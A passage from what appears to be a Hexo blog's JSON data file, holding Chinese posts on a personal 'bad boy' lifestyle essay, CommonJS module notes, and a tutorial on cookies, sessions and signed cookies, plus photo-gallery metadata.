log/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":""},{"title":"badboy","date":"2017-07-30T02:29:30.000Z","_content":"\n## 关于坏男人的定义\n很多人容易把坏男人很狼联系起来，事实上确实很有道理。健康的狼与健康的人有着许多共同点。比如敏锐的直觉，好玩的天性，都充满好奇心，并且坚韧，善于适应不断变化的环境，一样的勇敢。以及根植在骨子里的忠诚\n\n> 但是往往会被冠以“狡猾” 和“危险”的名号\n\n是抽烟，逃课，打架，玩世不恭，对感情暧昧，吊儿郎当的度日子，看上去没有丝毫的进取心\n\n## 坏，是一种生命力的体现\n他可能带着你逃单，然后给气喘吁吁的你递上一瓶水，也可能在你蹦极吓得流泪的时候一脚把你踹下去，他可能为你和别人打架被打成狗，他有着高度的想象力和执行力\n\n大部分人庸庸碌碌的过着日子，只有少部分人愿意打破自己的舒适区，去尝试一些未知的甚至是危险的事物。\n\n坏，他不意味着疯狂或是失控，更不意味着矫正，放弃原本的社会规则，或者是背离人性。刚好相反，它非常的宽容，对过往的一切能够兼容并蓄。它非常的积极，对未知的一切都能够无所畏惧\n\n## 小结\n吹嘘了这么久的自己，有些东西确实很有代表性。有很多人说我有一种骨子里坏坏的感觉，但我只想说，那是我脑海里追求的生活方式，从表面上体现了出来。但是坏的是表现，不是本质 \n\n我不喜欢平凡，喜欢追求自己想要的生活，即使三十年，四十年后，我也不会停下追寻的脚步，因为我知道，人的一生很短暂，你怎么样为自己的一生保留一些永恒的东西？现在的我没有背景，所以一切只能靠自己的双手去创造。\n\n> 平凡的人因为有了自己的思想而伟大。不随波逐流将会是我一生的追求","source":"_posts/badboy.md","raw":"---\ntitle: badboy\ndate: 2017-07-30 10:29:30\ntags: [badBoy]\n---\n\n## 关于坏男人的定义\n很多人容易把坏男人很狼联系起来，事实上确实很有道理。健康的狼与健康的人有着许多共同点。比如敏锐的直觉，好玩的天性，都充满好奇心，并且坚韧，善于适应不断变化的环境，一样的勇敢。以及根植在骨子里的忠诚\n\n> 但是往往会被冠以“狡猾” 和“危险”的名号\n\n是抽烟，逃课，打架，玩世不恭，对感情暧昧，吊儿郎当的度日子，看上去没有丝毫的进取心\n\n## 坏，是一种生命力的体现\n他可能带着你逃单，然后给气喘吁吁的你递上一瓶水，也可能在你蹦极吓得流泪的时候一脚把你踹下去，他可能为你和别人打架被打成狗，他有着高度的想象力和执行力\n\n大部分人庸庸碌碌的过着日子，只有少部分人愿意打破自己的舒适区，去尝试一些未知的甚至是危险的事物。\n\n坏，他不意味着疯狂或是失控，更不意味着矫正，放弃原本的社会规则，或者是背离人性。刚好相反，它非常的宽容，对过往的一切能够兼容并蓄。它非常的积极，对未知的一切都能够无所畏惧\n\n## 小结\n吹嘘了这么久的自己，有些东西确实很有代表性。有很多人说我有一种骨子里坏坏的感觉，但我只想说，那是我脑海里追求的生活方式，从表面上体现了出来。但是坏的是表现，不是本质 \n\n我不喜欢平凡，喜欢追求自己想要的生活，即使三十年，四十年后，我也不会停下追寻的脚步，因为我知道，人的一生很短暂，你怎么样为自己的一生保留一些永恒的东西？现在的我没有背景，所以一切只能靠自己的双手去创造。\n\n> 平凡的人因为有了自己的思想而伟大。不随波逐流将会是我一生的追求","slug":"badboy","published":1,"updated":"2018-01-31T07:49:13.829Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y46000fvzqhufzi6xg9","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h2 id=\"关于坏男人的定义\"><a href=\"#关于坏男人的定义\" class=\"headerlink\" title=\"关于坏男人的定义\"></a>关于坏男人的定义</h2><p>很多人容易把坏男人很狼联系起来，事实上确实很有道理。健康的狼与健康的人有着许多共同点。比如敏锐的直觉，好玩的天性，都充满好奇心，并且坚韧，善于适应不断变化的环境，一样的勇敢。以及根植在骨子里的忠诚</p>\n<blockquote>\n<p>但是往往会被冠以“狡猾” 和“危险”的名号</p>\n</blockquote>\n<p>是抽烟，逃课，打架，玩世不恭，对感情暧昧，吊儿郎当的度日子，看上去没有丝毫的进取心</p>\n<h2 id=\"坏，是一种生命力的体现\"><a href=\"#坏，是一种生命力的体现\" class=\"headerlink\" title=\"坏，是一种生命力的体现\"></a>坏，是一种生命力的体现</h2><p>他可能带着你逃单，然后给气喘吁吁的你递上一瓶水，也可能在你蹦极吓得流泪的时候一脚把你踹下去，他可能为你和别人打架被打成狗，他有着高度的想象力和执行力</p>\n<p>大部分人庸庸碌碌的过着日子，只有少部分人愿意打破自己的舒适区，去尝试一些未知的甚至是危险的事物。</p>\n<p>坏，他不意味着疯狂或是失控，更不意味着矫正，放弃原本的社会规则，或者是背离人性。刚好相反，它非常的宽容，对过往的一切能够兼容并蓄。它非常的积极，对未知的一切都能够无所畏惧</p>\n<h2 id=\"小结\"><a href=\"#小结\" class=\"headerlink\" title=\"小结\"></a>小结</h2><p>吹嘘了这么久的自己，有些东西确实很有代表性。有很多人说我有一种骨子里坏坏的感觉，但我只想说，那是我脑海里追求的生活方式，从表面上体现了出来。但是坏的是表现，不是本质 </p>\n<p>我不喜欢平凡，喜欢追求自己想要的生活，即使三十年，四十年后，我也不会停下追寻的脚步，因为我知道，人的一生很短暂，你怎么样为自己的一生保留一些永恒的东西？现在的我没有背景，所以一切只能靠自己的双手去创造。</p>\n<blockquote>\n<p>平凡的人因为有了自己的思想而伟大。不随波逐流将会是我一生的追求</p>\n</blockquote>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h2 id=\"关于坏男人的定义\"><a href=\"#关于坏男人的定义\" class=\"headerlink\" title=\"关于坏男人的定义\"></a>关于坏男人的定义</h2><p>很多人容易把坏男人很狼联系起来，事实上确实很有道理。健康的狼与健康的人有着许多共同点。比如敏锐的直觉，好玩的天性，都充满好奇心，并且坚韧，善于适应不断变化的环境，一样的勇敢。以及根植在骨子里的忠诚</p>\n<blockquote>\n<p>但是往往会被冠以“狡猾” 和“危险”的名号</p>\n</blockquote>\n<p>是抽烟，逃课，打架，玩世不恭，对感情暧昧，吊儿郎当的度日子，看上去没有丝毫的进取心</p>\n<h2 id=\"坏，是一种生命力的体现\"><a href=\"#坏，是一种生命力的体现\" class=\"headerlink\" title=\"坏，是一种生命力的体现\"></a>坏，是一种生命力的体现</h2><p>他可能带着你逃单，然后给气喘吁吁的你递上一瓶水，也可能在你蹦极吓得流泪的时候一脚把你踹下去，他可能为你和别人打架被打成狗，他有着高度的想象力和执行力</p>\n<p>大部分人庸庸碌碌的过着日子，只有少部分人愿意打破自己的舒适区，去尝试一些未知的甚至是危险的事物。</p>\n<p>坏，他不意味着疯狂或是失控，更不意味着矫正，放弃原本的社会规则，或者是背离人性。刚好相反，它非常的宽容，对过往的一切能够兼容并蓄。它非常的积极，对未知的一切都能够无所畏惧</p>\n<h2 id=\"小结\"><a href=\"#小结\" class=\"headerlink\" title=\"小结\"></a>小结</h2><p>吹嘘了这么久的自己，有些东西确实很有代表性。有很多人说我有一种骨子里坏坏的感觉，但我只想说，那是我脑海里追求的生活方式，从表面上体现了出来。但是坏的是表现，不是本质 </p>\n<p>我不喜欢平凡，喜欢追求自己想要的生活，即使三十年，四十年后，我也不会停下追寻的脚步，因为我知道，人的一生很短暂，你怎么样为自己的一生保留一些永恒的东西？现在的我没有背景，所以一切只能靠自己的双手去创造。</p>\n<blockquote>\n<p>平凡的人因为有了自己的思想而伟大。不随波逐流将会是我一生的追求</p>\n</blockquote>\n"},{"title":"commonJS和AMD/CMD","date":"2017-08-23T08:49:51.000Z","_content":"\n## 一. CommonJS\n node.js的模块系统，就是参照CommonJS规范实现的。在CommonJS中，有一个全局性方法require()，用于加载模块。假定有一个数学模块math.js，就可以像下面这样加载。NodeJS是CommonJS规范的实现，webpack 也是以CommonJS的形式来书写。\n> var math = require('math')\n\n#### 1. 原理\n浏览器兼不兼容commonJS，在于是否缺少这几个环境变量\n* module\n* export\n* require\n* global\n\n#### 2. browsertify\n将 npm包 编译成可以被 html 页面引入的 js模块\n> 一个类似的库：browser-unpack\n","source":"_posts/commonJS和AMD-CMD.md","raw":"---\ntitle: commonJS和AMD/CMD\ndate: 2017-08-23 16:49:51\ntags: [commonjs]\ncategories: JS\n---\n\n## 一. CommonJS\n node.js的模块系统，就是参照CommonJS规范实现的。在CommonJS中，有一个全局性方法require()，用于加载模块。假定有一个数学模块math.js，就可以像下面这样加载。NodeJS是CommonJS规范的实现，webpack 也是以CommonJS的形式来书写。\n> var math = require('math')\n\n#### 1. 原理\n浏览器兼不兼容commonJS，在于是否缺少这几个环境变量\n* module\n* export\n* require\n* global\n\n#### 2. browsertify\n将 npm包 编译成可以被 html 页面引入的 js模块\n> 一个类似的库：browser-unpack\n","slug":"commonJS和AMD-CMD","published":1,"updated":"2018-01-22T06:03:10.029Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y4d000gvzqhizz1xr86","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h2 id=\"一-CommonJS\"><a href=\"#一-CommonJS\" class=\"headerlink\" title=\"一. CommonJS\"></a>一. CommonJS</h2><p> node.js的模块系统，就是参照CommonJS规范实现的。在CommonJS中，有一个全局性方法require()，用于加载模块。假定有一个数学模块math.js，就可以像下面这样加载。NodeJS是CommonJS规范的实现，webpack 也是以CommonJS的形式来书写。</p>\n<blockquote>\n<p>var math = require(‘math’)</p>\n</blockquote>\n<h4 id=\"1-原理\"><a href=\"#1-原理\" class=\"headerlink\" title=\"1. 原理\"></a>1. 原理</h4><p>浏览器兼不兼容commonJS，在于是否缺少这几个环境变量</p>\n<ul>\n<li>module</li>\n<li>export</li>\n<li>require</li>\n<li>global</li>\n</ul>\n<h4 id=\"2-browsertify\"><a href=\"#2-browsertify\" class=\"headerlink\" title=\"2. browsertify\"></a>2. browsertify</h4><p>将 npm包 编译成可以被 html 页面引入的 js模块</p>\n<blockquote>\n<p>一个类似的库：browser-unpack</p>\n</blockquote>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h2 id=\"一-CommonJS\"><a href=\"#一-CommonJS\" class=\"headerlink\" title=\"一. CommonJS\"></a>一. CommonJS</h2><p> node.js的模块系统，就是参照CommonJS规范实现的。在CommonJS中，有一个全局性方法require()，用于加载模块。假定有一个数学模块math.js，就可以像下面这样加载。NodeJS是CommonJS规范的实现，webpack 也是以CommonJS的形式来书写。</p>\n<blockquote>\n<p>var math = require(‘math’)</p>\n</blockquote>\n<h4 id=\"1-原理\"><a href=\"#1-原理\" class=\"headerlink\" title=\"1. 原理\"></a>1. 原理</h4><p>浏览器兼不兼容commonJS，在于是否缺少这几个环境变量</p>\n<ul>\n<li>module</li>\n<li>export</li>\n<li>require</li>\n<li>global</li>\n</ul>\n<h4 id=\"2-browsertify\"><a href=\"#2-browsertify\" class=\"headerlink\" title=\"2. browsertify\"></a>2. browsertify</h4><p>将 npm包 编译成可以被 html 页面引入的 js模块</p>\n<blockquote>\n<p>一个类似的库：browser-unpack</p>\n</blockquote>\n"},{"title":"cookie和session","date":"2018-04-26T09:30:38.000Z","_content":"# 介绍\n\n## cookie\n\ncookie 是 HTTP 协议的一部分，处理分为以下几步：\n\n1. 服务器向客户端发送 cookie，一般为 name=value 形式。\n\n2. 浏览器将 cookie 储存。\n\n3. 每次请求浏览器都会将 cookie 发给服务器。\n\n### cookie 的属性\n\n```js\nres.cookie('isVisit', 1, {\n  // 储存的时间\n  maxAge: 10 * 1000,\n  // 为 true 时只在https中生效\n  secure: true,\n  // 影响路径\n  path: 'localhost',\n  // 是否支持 js 读取，可以预防 XSS\n  httpOnly: true\n})\n```\n\n> isVisit 是 key 值，1 是 value。\n\n### cookie 的弊端\n\n数据在客户端就可以被修改，数据很容易被伪造，而且数据太多会影响传输效率。\n\n## session\n\n针对 cookie 的缺点，session 解决了这些问题，session 保存在服务端，它的运作是通过 session_id 进行，这个值一般存在客户端的 cookie 中。\n\n### session 属性\n\n```js\napp.use(sessionParser({\n  name: 'author',\n  // 储存位置: 默认 cookie\n  // store: new redisStore(),\n  // 编码字符串\n  secret: 'recommand 128 bytes random string',\n  cookie: {\n    maxAge: 60 * 1000\n  },\n  //每次请求都重设一个cookie\n  rolling: false,\n  resave: true,\n  // 是指无论有没有session cookie，每次请求都设置个session cookie ，默认给个标示为 connect.sid\n  saveUninitialized: false\n}))\n```\n\n### signedCookie\n\n就是签名，专业点就是 “信息摘要算法“，例如我有一些数据想存在 cookie 中，如何保证不被篡改？\n\n比如我们用 dotcom_user 字段设置了个值 jzxer， cookie值应该是：\n\n```json\n> { dotcom_user: 'jzxer' }\n```\n\n这样如果验证和更改，安全性都不是很高。\n\n我们可以这样处理，设置一个 secrit_string 和 dotcom_user 做个算法(不同的账户签名不同)\n> sha1(secrit_string + dotcom_user) === '4850a42e3bc0d39c978770392cbd8dc2923e3d1d'\n\n然后把 cookie 变成这样：\n\n```json\n{\n  dotcom_user: 'jzxer',\n  dotcom_user.sig: '4850a42e3bc0d39c978770392cbd8dc2923e3d1d'\n}\n```\n\n这样一来信息就无法伪造了，一旦更改了 cookie 中的值，就会和服务器的冲突，破解的成本也太高。\n","source":"_posts/cookie和session.md","raw":"---\ntitle: cookie和session\ndate: 2018-04-26 17:30:38\ntags: [cookie, session]\ncategories: 本地储存\n---\n# 介绍\n\n## cookie\n\ncookie 是 HTTP 协议的一部分，处理分为以下几步：\n\n1. 服务器向客户端发送 cookie，一般为 name=value 形式。\n\n2. 浏览器将 cookie 储存。\n\n3. 每次请求浏览器都会将 cookie 发给服务器。\n\n### cookie 的属性\n\n```js\nres.cookie('isVisit', 1, {\n  // 储存的时间\n  maxAge: 10 * 1000,\n  // 为 true 时只在https中生效\n  secure: true,\n  // 影响路径\n  path: 'localhost',\n  // 是否支持 js 读取，可以预防 XSS\n  httpOnly: true\n})\n```\n\n> isVisit 是 key 值，1 是 value。\n\n### cookie 的弊端\n\n数据在客户端就可以被修改，数据很容易被伪造，而且数据太多会影响传输效率。\n\n## session\n\n针对 cookie 的缺点，session 解决了这些问题，session 保存在服务端，它的运作是通过 session_id 进行，这个值一般存在客户端的 cookie 中。\n\n### session 属性\n\n```js\napp.use(sessionParser({\n  name: 'author',\n  // 储存位置: 默认 cookie\n  // store: new redisStore(),\n  // 编码字符串\n  secret: 'recommand 128 bytes random string',\n  cookie: {\n    maxAge: 60 * 1000\n  },\n  //每次请求都重设一个cookie\n  rolling: false,\n  resave: true,\n  // 是指无论有没有session cookie，每次请求都设置个session cookie ，默认给个标示为 connect.sid\n  saveUninitialized: false\n}))\n```\n\n### signedCookie\n\n就是签名，专业点就是 “信息摘要算法“，例如我有一些数据想存在 cookie 中，如何保证不被篡改？\n\n比如我们用 dotcom_user 字段设置了个值 jzxer， cookie值应该是：\n\n```json\n> { dotcom_user: 'jzxer' }\n```\n\n这样如果验证和更改，安全性都不是很高。\n\n我们可以这样处理，设置一个 secrit_string 和 dotcom_user 做个算法(不同的账户签名不同)\n> sha1(secrit_string + dotcom_user) === '4850a42e3bc0d39c978770392cbd8dc2923e3d1d'\n\n然后把 cookie 变成这样：\n\n```json\n{\n  dotcom_user: 'jzxer',\n  dotcom_user.sig: '4850a42e3bc0d39c978770392cbd8dc2923e3d1d'\n}\n```\n\n这样一来信息就无法伪造了，一旦更改了 cookie 中的值，就会和服务器的冲突，破解的成本也太高。\n","slug":"cookie和session","published":1,"updated":"2018-04-26T12:18:39.549Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y4i000kvzqhs58z74ay","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h1 id=\"介绍\"><a href=\"#介绍\" class=\"headerlink\" title=\"介绍\"></a>介绍</h1><h2 id=\"cookie\"><a href=\"#cookie\" class=\"headerlink\" title=\"cookie\"></a>cookie</h2><p>cookie 是 HTTP 协议的一部分，处理分为以下几步：</p>\n<ol>\n<li><p>服务器向客户端发送 cookie，一般为 name=value 形式。</p>\n</li>\n<li><p>浏览器将 cookie 储存。</p>\n</li>\n<li><p>每次请求浏览器都会将 cookie 发给服务器。</p>\n</li>\n</ol>\n<h3 id=\"cookie-的属性\"><a href=\"#cookie-的属性\" class=\"headerlink\" title=\"cookie 的属性\"></a>cookie 的属性</h3><pre><code class=\"js\">res.cookie(&#39;isVisit&#39;, 1, {\n  // 储存的时间\n  maxAge: 10 * 1000,\n  // 为 true 时只在https中生效\n  secure: true,\n  // 影响路径\n  path: &#39;localhost&#39;,\n  // 是否支持 js 读取，可以预防 XSS\n  httpOnly: true\n})\n</code></pre>\n<blockquote>\n<p>isVisit 是 key 值，1 是 value。</p>\n</blockquote>\n<h3 id=\"cookie-的弊端\"><a href=\"#cookie-的弊端\" class=\"headerlink\" title=\"cookie 的弊端\"></a>cookie 